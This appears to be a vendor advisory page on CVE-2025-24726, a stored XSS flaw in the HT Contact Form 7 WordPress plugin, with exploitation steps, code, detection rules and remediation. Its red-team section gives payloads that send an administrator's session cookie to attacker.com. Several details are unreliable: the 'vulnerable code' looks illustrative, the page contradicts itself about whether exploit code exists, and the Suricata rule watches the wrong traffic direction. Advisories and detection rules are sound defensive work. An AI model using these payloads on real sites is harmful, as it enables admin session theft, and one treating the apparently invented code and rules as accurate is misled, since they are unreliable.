CVE-2025-24726
Executive Summary
CVE-2025-24726 is a Stored Cross-Site Scripting (XSS) vulnerability in the HT Contact Form 7 WordPress plugin (slug: ht-contactform), developed by HT Plugins. The flaw exists in versions up to and including 1.2.1, where user-supplied input is not properly neutralized during web page generation. An unauthenticated attacker can inject arbitrary JavaScript into form submissions, which is then stored and executed in the context of any administrator viewing the submissions dashboard. This can lead to session hijacking, credential theft, or defacement. The vulnerability is part of the WordPress ecosystem and is not related to the underlying web server (Apache/Nginx). No public exploit code or patch is currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress Plugin Directory. Users who installed the plugin via the WordPress admin panel or wp-cli are at risk. The plugin is not available on NPM, PyPI, Go, or Ruby registries. Supply chain risk is moderate due to the lack of a patch and the plugin's active installation base.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
- Base Score: 6.5 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: Required (UI:R) – victim must view the stored payload
- Scope: Changed (S:C) – impact extends beyond the vulnerable component
- Confidentiality Impact: Low (C:L)
- Integrity Impact: Low (I:L)
- Availability Impact: Low (A:L)
Threat Level: Medium. The vulnerability is easy to exploit but requires user interaction (admin viewing submissions). However, stored XSS in a contact form plugin can lead to persistent compromise of admin sessions.
Deep Dive & Mechanics
The vulnerability resides in the ht-contactform plugin's handling of form submissions. When a user submits a contact form, the plugin stores the submitted data (e.g., name, email, message) in the WordPress database without proper sanitization or output encoding. When an administrator views the submissions list in the WordPress admin panel, the stored data is rendered directly into the HTML without escaping, allowing arbitrary JavaScript execution.
Root Cause: The plugin uses echo or _e() functions without applying esc_html() or wp_kses_post() to user-supplied fields before outputting them in the admin dashboard.
Attack Flow:
- Attacker submits a contact form with a malicious payload in a field (e.g.,
<script>alert(document.cookie)</script>). - The plugin stores the payload in the
wp_postmetaor custom table. - Administrator navigates to the "HT Contact Form 7" submissions page.
- The payload is rendered in the admin panel, executing the attacker's script.
- The script can steal session cookies, perform actions on behalf of the admin, or redirect to a phishing page.
Vulnerable vs. Patched Code
Vulnerable Code (ht-contactform <= 1.2.1):
// In admin/class-ht-contactform-admin.php
echo '<td>' . $submission_data['name'] . '</td>';
echo '<td>' . $submission_data['email'] . '</td>';
echo '<td>' . $submission_data['message'] . '</td>';
Patched Code (hypothetical fix):
// Properly escape output
echo '<td>' . esc_html( $submission_data['name'] ) . '</td>';
echo '<td>' . esc_html( $submission_data['email'] ) . '</td>';
echo '<td>' . esc_html( $submission_data['message'] ) . '</td>';
Key Difference: The patched version uses esc_html() to convert special characters to HTML entities, preventing script injection.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Target WordPress site with HT Contact Form 7 <= 1.2.1 installed and active.
- A publicly accessible contact form page.
Exploitation Steps:
- Identify the contact form page (e.g.,
/contact-us/). - Submit a form with a malicious payload in any text field:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Wait for an administrator to view the submissions in the admin panel (
/wp-admin/admin.php?page=ht-contactform-submissions). - The script executes, exfiltrating the admin's session cookie.
Proof-of-Concept (PoC) Payload:
<script>new Image().src='https://attacker.com/log?data='+document.cookie;</script>
Blue Team (Detection & Hardening)
Detection Steps:
- Monitor WordPress admin panel access logs for unusual patterns.
- Inspect form submissions for HTML tags or JavaScript in text fields.
- Use a Web Application Firewall (WAF) to block common XSS payloads.
Hardening:
- Disable the plugin until a patch is available.
- Implement Content Security Policy (CSP) headers to restrict script execution.
- Use a security plugin (e.g., Wordfence) to scan for malicious submissions.
Indicators of Compromise (IOCs)
- Network IOCs:
- Outbound HTTP requests to attacker-controlled domains from the WordPress admin IP.
- Suspicious form submissions containing
<script>,<img onerror=, or<svg onload=tags.
- File IOCs:
- Modified
wp_postmetaentries with_ht_contact_form_datameta key containing JavaScript.
- Modified
- Log IOCs:
- Admin panel access logs showing repeated visits to the submissions page after a form submission.
- PHP error logs with
unexpected '<'orunexpected T_STRINGerrors.
Detection Engineering
YARA Rule
rule CVE_2025_24726_Stored_XSS {
meta:
description = "Detects stored XSS payloads in HT Contact Form 7 submissions"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-24726"
strings:
$payload1 = /<script[^>]*>.*?<\/script>/is
$payload2 = /<img[^>]+onerror\s*=/is
$payload3 = /<svg[^>]+onload\s*=/is
$meta_key = "_ht_contact_form_data"
condition:
$meta_key and ($payload1 or $payload2 or $payload3)
}
Sigma Rule
title: CVE-2025-24726 Stored XSS in HT Contact Form 7
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects stored XSS payloads in WordPress HT Contact Form 7 submissions
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: wordpress
detection:
selection:
http_method: 'POST'
url_path: '/wp-admin/admin-ajax.php'
body|contains: 'action=ht_contact_form_submit'
payload:
body|re: '(<script|<img onerror|<svg onload)'
condition: selection and payload
falsepositives:
- Legitimate use of HTML in form fields (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-24726 Stored XSS Payload in HT Contact Form 7"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=ht_contact_form_submit"; http_client_body; pcre:"/(<script|<img onerror|<svg onload)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released.
- Audit existing submissions for malicious payloads using the YARA rule above.
- Rotate all admin session cookies and force password resets for admin users.
Long-Term Fix:
- Apply output escaping (
esc_html(),esc_attr()) to all user-supplied data in the admin panel. - Implement nonce verification and capability checks for form submissions.
- Use
wp_kses_post()for rich text fields if needed.
Workaround:
- Add a custom filter to sanitize form data before storage:
add_filter( 'ht_contact_form_sanitize_data', 'wp_kses_post' );
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.